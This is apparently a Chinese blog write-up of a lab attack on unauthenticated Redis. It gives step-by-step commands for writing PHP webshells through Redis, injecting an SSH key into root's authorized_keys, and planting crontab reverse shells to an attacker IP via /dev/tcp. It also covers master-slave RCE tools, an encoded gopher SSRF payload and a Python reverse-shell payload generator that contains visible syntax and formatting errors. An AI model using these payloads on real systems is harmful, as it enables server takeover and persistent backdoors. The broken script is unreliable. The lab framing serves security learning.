一般的攻击为:
- redis未授权访问漏洞
- 利用redis写webshell
- 利用“公私钥” 认证获取root权限
- 利用crontab反弹shell
- redis主从复制rce
漏洞复现
环境部署
靶机:ubuntu24.1 靶机ip: 192.168.71.129 攻击机:kali 攻击机ip: 192.168.71.130
redis版本:2.8.17, 4.0.10 (可选,还是建议4.0.10)
靶机环境搭建
分步执行下面的命令
2.8.17:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
make test //似乎这个不是必须,我这里倒是运行了一次
cp redis.conf /etc/
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
redis-server /etc/redis.conf
4.0.10:
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar xzf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make test //似乎这个不是必须,我这里倒是运行了一次
cp redis.conf /etc/ //建议在2.8.17的目录下运行这个命令
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
redis-server /etc/redis.conf
但是用4.0.10会因自动设置的安全模式导致无法正常连接测试
就是这样:

还有可能会出现这种情况:

这就是因为
默认redis需要设置管理员账号密码,开启了保护模式
所以如果第一次使用没有设置管理员,就会出现报错,关闭保护模式即可
所以到靶机去修改redis.conf 搜索:protected-mode
把yes 改成no即可
再搜索:bind 127.0.0.1

有个没被注释的 改成0.0.0.0 或者把这个注释掉就行


连通性测试:

redis未授权访问漏洞测试
使用redis客户端直接无账号成功登录redis:

从登录的结果可以看出该redis服务对公网开放,且未启用认证。
利用redis写webshell
利用前提:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
分别使用以下命令(靶机没有web页面,就根据已知路径直接写吧):
我在靶机的/home里建一个www文件夹
config set dir /home/www/
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save

确实在靶机成功写入了phpinfo()

再次尝试写入一句话木马:
config set dir /home/www/
config set dbfilename muma.php
set muma "\n\n\n\n\n<?php @eval($_POST['a'])?>\n\n\n\n\n"
save
这里的\n 是因为redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

成功写入webshell
当数据库过大时,redis写shell的小技巧:
<?php
set_time_limit(0);
$fp=fopen('hacker.php','w');
fwrite($fp,'<?php @eval($_POST[\"hacker\"]);?>');
exit();
?>
利用"公私钥" 认证获取root权限
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
首先先在攻击机上生成一个公钥
ssh-keygen -t rsa
选项一路默认
再将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

再把key.txt文件内容写入redis缓冲
cat /root/.ssh/key.txt | redis-cli -h 192.168.71.129 -x set pub

远程登录靶机的redis服务
并使用命令得到redis备份的路径:
CONFIG GET dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
注意确认靶机是否存在有.ssh目录(因为实际情况有可能该服务器不作为ssh连接服务器,需要生成公、私钥或者建立ssh连接时才会生成)
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:
config set dbfilename authorized_keys
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,
CONFIG GET dbfilename

再使用save保存
save

至此成功写入ssh公钥到靶机:
再尝试连接
ssh -i id_rsa root@192.168.71.129

成功登录靶机
利用crontab反弹shell
在有权限的情况下 可以通过redis直接把弹shell的命令写入定时任务,计划执行
攻击机开启监听:
nc -lvnp 2333
再连上redis写入文件
redis-cli -h 192.168.71.129
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.71.130/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs
//有些系统版本可能是这个:config set dir /var/spool/cron
config set dbfilename root
save


成功收到shell(并没成功 /(ㄒoㄒ)/~~)
这里有点问题:
复现时 开始是怎么都收不到shell 使用/etc/init.d/cron status 进行排错后发现有一个问题就是
我写入的/var/spool/cron/crontabs 文件的权限是644 而不是600
如果crontab的权限不对的话 就很可能导致cron忽略这些任务
然后还有就是
通过redis写文件作为定时任务的话,会因为写入时自带一些版本信息,类似的不可见字符
从而导致报错,原因也就是cron无法正确识别我写入的命令
直接看报错吧
root@Ubuntu24:/var/spool/cron# /etc/init.d/cron status
● cron.service - Regular background program processing daemon
Loaded: loaded (/usr/lib/systemd/system/cron.service; enabled; preset: enabled)
Active: active (running) since Thu 2025-01-16 16:37:17 CST; 5s ago
Invocation: 727f4f197ebd4183b3c93eae4f693fdc
Docs: man:cron(8)
Main PID: 43339 (cron)
Tasks: 1 (limit: 3937)
Memory: 356K (peak: 1.5M)
CPU: 6ms
CGroup: /system.slice/cron.service
└─43339 /usr/sbin/cron -f -P
1月 16 16:37:17 Ubuntu24.1 systemd[1]: Started cron.service - Regular back…mon.
1月 16 16:37:17 Ubuntu24.1 (cron)[43339]: cron.service: Referenced but uns…OPTS
1月 16 16:37:17 Ubuntu24.1 cron[43339]: (CRON) INFO (pidfile fd = 3)
1月 16 16:37:17 Ubuntu24.1 cron[43339]: Error: bad minute; while reading c…root
1月 16 16:37:17 Ubuntu24.1 cron[43339]: (root) ERROR (Syntax error, this c…red)
1月 16 16:37:17 Ubuntu24.1 cron[43339]: (CRON) INFO (Skipping @reboot jobs…tup)
Hint: Some lines were ellipsized, use -l to show in full.
这表明 crontab
文件中存在语法错误,导致 cron
无法正确解析该文件。
很明显就是那些不可见字符影响的,这里我手动把不可见字符去掉之后,任务就执行了(所以只能把这个问题怪这自带的字符了)
不知道是版本的问题还是什么
redis2.x和4.x都失败了
要不就是靶机版本了(确认了,就是靶机版本,ubuntu是不能这样攻击的,centos可以)
redis主从复制rce
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
用github的exp直接运行
redis-rogue-server-master:https://github.com/n0b0dyCN/redis-rogue-server
redis-rce-master:https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.71.129 -L 192.168.71.130 -f exp.so
我exp.so是从https://github.com/n0b0dyCN/redis-rogue-server来的
可以直接拿shell

也可以弹shell

拓展:
ssrf,redis与gopher
如果通过ssrf探测到内网某ip开启了6379端口,并存在未授权,如何结合gopher协议来写shell
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行URL编码。注意%0d%0a是\r\n的URL编码。
gopher发送请求HTTP GET请求:
curl gopher://192.168.194.1:6666/_abcd
注意:abcd是要传递的数据,_会被吃掉不会传递过去(现在的curl似乎不支持这个协议了,但我的kali还是能发的)
由于gopher协议规则比较复杂,这里借助一个github的工具来生成payload:https://github.com/firebroo/sec_tools
只需要在redis-over-gopher/redis.cmd中写入redis执行的命令,比如下面的命令直接在web目录下写shell
flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '\n\n\n\n\n<?php @eval($_POST['a'])?>\n\n\n\n\n'
save
运行脚本
python redis-over-gopher.py
如果报print的错就去改一下脚本
把print exp 改成print(exp) 即可

测试:
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%34%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%32%39%0d%0a%5c%6e%5c%6e%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%0d%0a%24%31%37%0d%0a%61%27%5d%29%3f%3e%5c%6e%5c%6e%5c%6e%5c%6e%5c%6e%27%0d%0a%2a%30%0d%0a
把这里的内容 url编码一次 再放web页面提交 应该可以成功(我没试 没做web页面)
也就是打ssrf
使用ssrf端口探测的时候,可以使用dict协议来进行探测,http可能检测不出来
利用gopher协议反弹shell
/*gopher协议反弹shell利用脚本*/
import urllib
protocol="gopher://"
ip="192.168.127.140"
port="6379"
reverse_ip="192.168.127.131"
reverse_port="7777"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.71.130/2333 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
爆破bp就行
dict://127.0.0.1:6379/auth:密码(GET请求)
dict://127.0.0.1:6379/auth+密码(POST请求)
Comments | NOTHING